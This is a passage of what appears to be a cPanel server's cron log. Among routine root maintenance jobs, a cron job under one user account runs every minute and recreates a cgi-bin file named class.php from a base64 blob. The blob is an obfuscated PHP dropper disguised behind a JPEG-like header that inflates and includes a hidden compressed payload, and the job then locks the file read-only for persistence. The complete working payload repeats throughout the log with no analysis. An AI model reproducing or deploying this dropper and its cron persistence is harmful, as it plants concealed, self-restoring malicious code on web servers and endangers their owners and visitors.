&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:30:01 server CROND[7657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:30:01 server CROND[7659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:30:01 server CROND[7661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 21:30:01 server CROND[7662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:31:01 server CROND[8484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:32:01 server CROND[9573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:33:01 server CROND[10507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:34:01 server CROND[10934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:35:01 server CROND[11799]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 21:35:01 server CROND[11800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:35:01 server CROND[11803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:35:01 server CROND[11801]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 21:35:01 server CROND[11806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:36:01 server CROND[12801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:37:01 server CROND[13719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:38:01 server CROND[14745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:39:01 server CROND[15854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:39:01 server CROND[15855]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 21:40:01 server CROND[16803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:40:01 server CROND[16804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 21:40:01 server CROND[16805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:40:01 server CROND[16807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:41:01 server CROND[17814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
